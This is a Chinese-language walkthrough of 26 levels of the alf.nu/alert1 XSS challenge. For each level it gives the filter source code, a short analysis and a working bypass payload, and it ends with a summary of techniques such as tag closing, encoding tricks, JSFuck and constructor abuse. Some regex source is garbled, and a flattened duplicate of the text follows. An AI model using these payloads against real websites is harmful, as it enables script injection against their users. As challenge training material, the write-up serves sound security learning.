XSS靶场(alf.nu/alert1)部分题目详解(26/29)
字数 1289 2025-08-26 22:11:51

XSS靶场(alf.nu/alert1)题目详解与技巧总结

1. Warmup

源码:

function escape(s) {
  return '<script>console.log("' + s + '");</script>';
}

分析:

  • 直接拼接用户输入到JS字符串中
  • 无任何过滤措施

Payload:

");alert(1)//

2. Adobe

源码:

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

分析:

  • 双引号被转义为\"
  • 两种绕过方法:
    1. 闭合script标签
    2. 转义转义符本身

Payload:

<\/script><script>alert(1)<\/script>

\");alert(1)//

3. JSON

源码:

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

Payload:

<\/script><script>alert(1)<\/script>

4. Markdown

源码:

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  text = text.replace(/
$$
\[(\w+)\|([^
$$
]+)\]\]/g, '');
  return text;
}

Payload:

[[a|http://onerror=alert(1)//]]

5. DOM

源码:

function escape(s) {
  var m = s.split(/#/);
  var a = document.createElement('div');
  a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

Payload:

Comment#><script>alert(1)</script>

6. Callback

源码:

function escape(s) {
  var thing = s.split(/#/);
  if (!/^[a-zA-Z
$$

$$
']+$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1]};
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json + ")</script>";
}

Payload:

'#';alert(1)//

7. Skandia

源码:

function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Payload:

<\/script>

8. Template

源码:

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
      return {'<':'&lt;','>':'&gt;','&':'&amp;','"':'&quot;',"'":'&#39;'}[x] || x;
    });
  }
  function expandTemplate(template, args) {
    return template.replace(/{(\w+)}/g, function(_,n) {
      return htmlEscape(args[n]);
    });
  }
  return expandTemplate("<h2>Hello, <span id=name></span>!</h2><script>var v = document.getElementById('name');v.innerHTML = '<a href=#>{name}</a>';<\/script>", {name:s});
}

Payload:

\x3cimg src onerror=alert(1)\x3e

9. JSON 2

源码:

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');
  return '<script>console.log(' + s + ');</script>';
}

Payload:

<\/<\/scriptscript><script>alert(1)\/\/ 

10. Callback 2

源码:

function escape(s) {
  var thing = s.split(/#/);
  if (!/^[a-zA-Z
$$

$$
']+$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1]};
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json + ")</script>";
}

Payload:

'#';alert(1)<!--

11. Skandia 2

源码:

function escape(s) {
  if (/[<>]/.test(s)) return '-';
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Payload:

");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

12. iframe

源码:

function escape(s) {
  var tag = document.createElement('iframe');
  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);
  window.WINNING = function() { youWon = true; };
  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}

Payload:

name="youWon"

13. TI(S)M

源码:

function escape(text) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) { return '&#' + s.charCodeAt(0) + ';'; }); }
  return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>');
}

Payload:

if(alert(1)/*<!--<script>

14. JSON 3

源码:

function escape(s) {
  return s.split('#').map(function(v) {
    var json = JSON.stringify(v).replace(/<\//g, '<\\/');
    return '<script>console.log(' + json + ')</script>';
  }).join('');
}

Payload:

<!--<script>#)/;alert(1)//-->

15. Skandia 3

源码:

function escape(s) {
  if (/[\\<>]/.test(s)) return '-';
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Payload:

");[][([3]+({}+[])[1]+(!![]+[])[1]+(!![]+[])[0]][({}+[])[5]+({}+[])[1]+([][[]]+[])[1]+([3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+({}+[])[5]+(!![]+[])[0]+({}+[])[1]+(!![]+[])[1]](([1]+([2]+([4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//

16. RFC4627

源码:

function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };
  if (!(/[0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"])*"/g, '')))) {
    try {
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: ' + _);
    }
  } else {
    console.log('Rejected.');
  }
}

Payload:

{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}

17. Well

源码:

function escape(s) {
  s = s.replace(/[\r\n\u2028\u2029\\;(),[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}

Payload:

'+new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'

18. No

源码:

function escape(s) {
  s = s.replace(/[()`<]/g, '');
  return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>';
}

Payload:

";onerror=eval;throw'=alert\x281\x29'//

19. K'Z'K 1

源码:

function escape(s) {
  s = s.replace(/[aeiouy]/gi, '');
  return '<script>console.log("' + s + '");</script>';
}

Payload:

");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//

20. K'Z'K 2

源码:

function escape(s) {
  s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
  s = s.replace(/[{}!=<>\\]/g, '');
  return '<script>console.log("' + s + '");</script>';
}

Payload:

");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//

21. K'Z'K 3

源码:

function escape(s) {
  s = s.replace(/[aeiouy]/gi, '');
  s = s.replace(/[{}!=<>\\]/g, '');
  return '<script>console.log("' + s + '");</script>';
}

Payload:

");[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()//

22. Fruit

源码:

function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
    for (var i = 0; i < n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') {
        n.removeAttribute(name);
      }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

Payload:

<iframe t onload=alert(1)>

23. Fruit 2

源码:

function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
    for (var i = 0; i < n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') {
        n.removeAttribute(name);
      }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

Payload:

<iframe t onload=alert(1)>

24. Capitals

源码:

function escape(s) {
  var capitals = {
    "CA": {"AB":"Edmonton", "BC":"Victoria", "MB":"Winnipeg"},
    "US": {
      "AL": ((year) => year < 1846 ? "Tuscaloosa" : "Montgomery"),
      "AK":"Juneau", "AR":"Phoenix"
    },
  };
  function capitalOf(country, stateOrProvinceName, year) {
    var capital = capitals[country][stateOrProvinceName];
    if (typeof capital === 'function') {
      capital = capital(year);
    }
    return capital
  }
  var inputs = (s || "").split(/#/g);
  return '<b>' + capitalOf(inputs[0], inputs[1], inputs[2]) + '</b>';
}

Payload:

CA#constructor#<\/b><script>alert(1)</script>

25. Entities

源码:

function escape(s) {
  function htmlentities(s) {
    return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
  }
  s = htmlentities(s);
  return `<script>var obj = {}; obj["${s}"] = "${s}";</script>`;
}

Payload:

];alert(1)//\

26. %level%

源码:

function escape(s) {
  const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
  const userTemplate = '<script>let some = %userData%</script>';
  return userTemplate.replace(/%userData%/, userInput);
}

Payload:

$'$`alert(1)//

关键技巧总结

  1. 闭合字符串与注释:最基本的XSS技巧,通过闭合引号和添加注释来执行任意JS代码
  2. 标签闭合绕过:当引号被转义时,通过闭合script标签再新建script标签执行代码
  3. 编码绕过
    • 使用十六进制编码(\x3c)
    • 使用八进制编码(\155)
    • HTML实体编码(a)
  4. 正则特性利用
    • 双写绕过(</script → </</scriptscript>)
    • 使用\('和\)`获取匹配前后内容
  5. JSFuck技术:当字符被严格过滤时,使用JSFuck构造可执行代码
  6. DOM操作特性
    • 利用attributes.length动态变化特性保留属性
    • 利用iframe的name属性设置全局变量
  7. 匿名函数构造:通过数组方法的constructor属性构造Function执行代码
  8. 异常处理:通过onerror和throw执行代码
  9. 模板字符串:使用ES6模板字符串和String.fromCharCode绕过字符限制
  10. JSON特性:利用JSON.stringify和eval的交互特性执行代码

这些技巧展示了XSS攻击的多样性和创造性,同时也强调了防御XSS需要多层次的防护措施。

XSS靶场(alf.nu/alert1)题目详解与技巧总结 1. Warmup 源码 : 分析 : 直接拼接用户输入到JS字符串中 无任何过滤措施 Payload : 2. Adobe 源码 : 分析 : 双引号被转义为 \" 两种绕过方法: 闭合script标签 转义转义符本身 Payload : 或 3. JSON 源码 : Payload : 4. Markdown 源码 : Payload : 5. DOM 源码 : Payload : 6. Callback 源码 : Payload : 7. Skandia 源码 : Payload : 8. Template 源码 : Payload : 9. JSON 2 源码 : Payload : 10. Callback 2 源码 : Payload : 11. Skandia 2 源码 : Payload : 12. iframe 源码 : Payload : 13. TI(S)M 源码 : Payload : 14. JSON 3 源码 : Payload : 15. Skandia 3 源码 : Payload : 16. RFC4627 源码 : Payload : 17. Well 源码 : Payload : 18. No 源码 : Payload : 19. K'Z'K 1 源码 : Payload : 20. K'Z'K 2 源码 : Payload : 21. K'Z'K 3 源码 : Payload : 22. Fruit 源码 : Payload : 23. Fruit 2 源码 : Payload : 24. Capitals 源码 : Payload : 25. Entities 源码 : Payload : 26. %level% 源码 : Payload : 关键技巧总结 闭合字符串与注释 :最基本的XSS技巧,通过闭合引号和添加注释来执行任意JS代码 标签闭合绕过 :当引号被转义时,通过闭合script标签再新建script标签执行代码 编码绕过 : 使用十六进制编码(\x3c) 使用八进制编码(\155) HTML实体编码(&#97;) 正则特性利用 : 双写绕过(<\/script → <\/ <\/scriptscript>) 使用$'和$ ` 获取匹配前后内容 JSFuck技术 :当字符被严格过滤时,使用JSFuck构造可执行代码 DOM操作特性 : 利用attributes.length动态变化特性保留属性 利用iframe的name属性设置全局变量 匿名函数构造 :通过数组方法的constructor属性构造Function执行代码 异常处理 :通过onerror和throw执行代码 模板字符串 :使用ES6模板字符串和String.fromCharCode绕过字符限制 JSON特性 :利用JSON.stringify和eval的交互特性执行代码 这些技巧展示了XSS攻击的多样性和创造性,同时也强调了防御XSS需要多层次的防护措施。